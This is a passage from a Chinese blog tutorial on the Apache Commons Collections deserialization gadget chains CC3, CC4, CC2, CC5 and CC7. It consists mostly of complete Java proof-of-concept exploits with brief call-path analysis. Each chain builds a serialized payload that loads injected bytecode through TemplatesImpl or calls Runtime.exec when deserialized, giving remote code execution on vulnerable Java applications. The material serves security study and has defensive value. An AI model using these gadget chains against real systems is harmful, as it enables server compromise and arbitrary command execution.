        _tfactory.setAccessible(true);
        _tfactory.set(templates, new TransformerFactoryImpl());
        Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
        ABSTRACT_TRANSLET.setAccessible(true);
        ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
//        Transformer transformer = templates.newTransformer();
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, null);
        map.remove(null);
        Field factory = LazyMap.class.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap, chainedTransformer);
        serialize(hashMap);
        deserialize("cc3.bin");
    }
}

收官，分析一下yso的CC3，又有所不同，可以看到它在Transformer[]里调用的是InstantiateTransformer，还引入了TrAXFilter这个类，我们追踪一下

首先TrAXFilter中会调用newTransformer

再看InstantiateTransformer的transform方法，获取构造器，再实例化，刚好可以触发TrAXFilter

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc3.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();
        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates, "1");
        Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC\\untitled\\target\\classes\\org\\example\\Eval.class"));
        byte[][] code = {bytes};
        _bytecodes.set(templates, code);
        Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates, new TransformerFactoryImpl());
        Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
        ABSTRACT_TRANSLET.setAccessible(true);
        ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
//        Transformer transformer = templates.newTransformer();
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> decorate = LazyMap.decorate(map,  chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
        Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
        Object o = constructor.newInstance(Target.class, newMap);
        serialize(o);
        deserialize("cc3.bin");
    }
}

CC4

CC4需要commoncollection4的依赖

CC4其实就是CC3的前半部分，在修改了一下后部分的一些操作，不是像CC1，CC6那样使用LazyMap来触发transform了，所以得换其它类，如 TransformingComparator，这是commoncollection4里的类，我们跟进一下，compare这里调用了transform

继续跟进，看哪调用了compare，PriorityQueue类

跟进

继续跟进

完美

构造exp:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc4 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc4.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates, "1");
        Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC\\untitled\\target\\classes\\org\\example\\Eval.class"));
        byte[][] code = {bytes};
        _bytecodes.set(templates, code);
        Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates, new TransformerFactoryImpl());
        Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
        ABSTRACT_TRANSLET.setAccessible(true);
        ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        Field transformer = TransformingComparator.class.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator, chainedTransformer);
        PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        serialize(priorityQueue);
        deserialize("cc4.bin");
    }
}

CC2

CC2与CC4不同的地方就是后半些许不同，没有用chainedtrainsform，直接用invokertransformer
直接上poc了，没啥可调试的

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc2 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc2.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates, "1");
        Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC\\untitled\\target\\classes\\org\\example\\Eval.class"));
        byte[][] code = {bytes};
        _bytecodes.set(templates, code);
        Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates, new TransformerFactoryImpl());
        Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
        ABSTRACT_TRANSLET.setAccessible(true);
        ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(2);
        Field transformer = TransformingComparator.class.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator, invokerTransformer);
        serialize(priorityQueue);
        deserialize("cc2.bin");
    }
}

CC5

CC5就是改了一点点的CC6，看链子，就改了readObject部分，分析一下

触发LazyMap.get换成了toString，这里调用了getValue

继续跟进，BadAttributeValueExpException的readObject调用了toString

这样就可以构造链子了，非常简单

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc5 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc5.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazymap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field val = BadAttributeValueExpException.class.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException, tiedMapEntry);
        serialize(badAttributeValueExpException);
        deserialize("cc5.bin");
    }
}

CC7

CC7的链子，这里是从LazyMap.get的调用开始修改了

追踪一下，AbstractMap类的equals调用了get

继续追踪equals，AbstractMapDecorator的equals调用了

继续追踪，为什么要用reconstitutionPut？Hashtable里还有好多地方都调用了equals

因为它在readObject中被调用了

    private void readObject(ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {

        ObjectInputStream.GetField fields = s.readFields();

        // Read and validate loadFactor (ignore threshold - it will be re-computed)
        float lf = fields.get("loadFactor", 0.75f);
        if (lf <= 0 || Float.isNaN(lf))
            throw new StreamCorruptedException("Illegal load factor: " + lf);
        lf = Math.min(Math.max(0.25f, lf), 4.0f);

        // Read the original length of the array and number of elements
        int origlength = s.readInt();
        int elements = s.readInt();

        // Validate # of elements
        if (elements < 0)
            throw new StreamCorruptedException("Illegal # of Elements: " + elements);

        // Clamp original length to be more than elements / loadFactor
        // (this is the invariant enforced with auto-growth)
        origlength = Math.max(origlength, (int)(elements / lf) + 1);

        // Compute new length with a bit of room 5% + 3 to grow but
        // no larger than the clamped original length.  Make the length
        // odd if it's large enough, this helps distribute the entries.
        // Guard against the length ending up zero, that's not valid.
        int length = (int)((elements + elements / 20) / lf) + 3;
        if (length > elements && (length & 1) == 0)
            length--;
        length = Math.min(length, origlength);

        if (length < 0) { // overflow
            length = origlength;
        }

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);
        Hashtable.UnsafeHolder.putLoadFactor(this, lf);
        table = new Entry<?,?>[length];
        threshold = (int)Math.min(length * lf, MAX_ARRAY_SIZE + 1);
        count = 0;

        // Read the number of elements and then all the key/value objects
        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // sync is eliminated for performance
            reconstitutionPut(table, key, value);
        }
    }

这样链子就明了了，构造poc，注意AbstractMapDecorator和AbstractMap都是抽象类，并不能实例化，但是都实现了Map，所以调用equals时是调用lazyMap.equals，找不到往上找就能找到AbstractMap.equals

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc7.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
        Map<Object, Object> map1 = new HashMap<>();
        Map<Object, Object> map2 = new HashMap<>();
        Map<Object, Object> lazymap1 = LazyMap.decorate(map1, chainedTransformer);
        Map<Object, Object> lazymap2 = LazyMap.decorate(map2, chainedTransformer);
        lazymap1.put("yy", 1);
        lazymap2.put("zZ",1);
        Hashtable hashtable = new Hashtable<>();
        hashtable.put(lazymap1, 1);
        hashtable.put(lazymap2,2);
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer, transformers);
        lazymap2.remove("yy");
        serialize(hashtable);
        deserialize("cc7.bin");
    }
}

标签：Java,java,CC,org,链全,new,apache,import,class
From： https://blog.csdn.net/qq_63451318/article/details/143883480